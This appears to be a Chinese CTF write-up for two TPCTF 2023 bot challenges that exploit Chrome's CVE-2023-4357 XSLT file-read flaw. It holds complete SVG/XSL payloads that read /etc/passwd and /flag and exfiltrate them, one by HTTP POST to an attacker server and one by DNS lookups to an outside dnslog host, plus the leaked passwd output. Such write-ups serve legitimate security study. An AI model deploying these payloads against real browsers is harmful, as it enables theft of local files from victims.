xss-bot
xxe漏洞
wp:TPCTF 2023 Writeup - 星盟安全团队 (xmcve.com)
试着分析
随便输入点啥,返回了ua头
查看代码:
1 2 3 4
| RUN mkdir /app COPY bot.py /app WORKDIR /app RUN echo TPCTF{test} > /flag
|
dockerfile文件中将flag以txt文件形式放在/flag下,需要外带文件内容
没见过反正不是xss(
在hacktrick里直接搜“外带文件”,XXE在这里比较符合:能访问本地文件,能在这里写进文件上传
XXE - XEE - XML External Entity - HackTricks
可以看到这里提及了文件读取
根据上面的ua头可以找到一个cve:CVE-2023-4357
原理为当受害者访问SVG图像链接时,浏览器会解析XSL样式表,调用document() 加载包含外部实体引用的文档,读取受害者机器的任意文件
【漏洞复现】CVE-2023-4357|Google Chrome 任意文件读取漏洞(影响微信/Chromium内核的浏览器)-腾讯云开发者社区-腾讯云 (tencent.com)
poc
来自星盟安全团队
filename输入以.svg结尾
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <!DOCTYPE div [ <!ENTITY passwd_p "file:///etc/passwd"> <!ENTITY passwd_c SYSTEM "file:///etc/passwd"> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('')"/> <body xmlns="http://www.w3.org/1999/xhtml"> <div style="display:none"> <p class="&passwd_p;">&passwd_c;</p> </div> <script> document.querySelectorAll('p').forEach(p => { var url = 'http://服务器ip'; var formData = 'filename=' + p.className + '&result=' + btoa(p.innerHTML); var xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send(formData); }); </script> </body> </xsl:template> </xsl:stylesheet>
|
<!DOCTYPE div
这段相当于定义两个在div里的变量,最终在<div>
中的<p>
显示,相当于前面复现演示的c3.xml部分
<script>
首先遍历<p>
元素,将元素类名和内容以POST发送到目标服务器,相当于c2.svg部分,调用document加载<xsl:copy-of select="document('')"/>
此poc直接以svg形式,相当于直接访问svg图像链接,完成c.html功能
成功外带
base64解码结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nolog
|
将poc读取的文件改为file:///flag
即可获得flag
xss-bot-but-no-internet
代码都一样,但是不出网
方法一:dns外带
经学长测试可实现DNS外带
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <!DOCTYPE div [ <!ENTITY passwd_p "file:///etc/passwd"> <!ENTITY passwd_c SYSTEM "file:///etc/passwd"> <!ENTITY sysini_p "file:///flag"> <!ENTITY sysini_c SYSTEM "file:///flag"> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('')"/> <body xmlns="http://www.w3.org/1999/xhtml"> <div style="display:none"> <p class="&passwd_p;">&passwd_c;</p> <p class="&sysini_p;">&sysini_c;</p> </div> <div style="width:40rem" id="r" /> <script> document.querySelector('#r').innerHTML = ` remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`; document.querySelectorAll('p').forEach(p => { document.querySelector('#r').innerHTML += ` local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/> local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`; if (p.className=="file:///flag") { let hex = '';for(let i = 0; p.innerHTML.length > i; i++) {let charCode = p.innerHTML.charCodeAt(i).toString(16);hex += ('00' + charCode).slice(-2);} window.open("http://"+hex+".1fca5dff.dnslog.store/"); } }); </script> </body> </xsl:template> </xsl:stylesheet>
|
这里对原有cve进行修改,在最后对<p>
的遍历中,检测到flag时选择打开一个dns窗口进行外带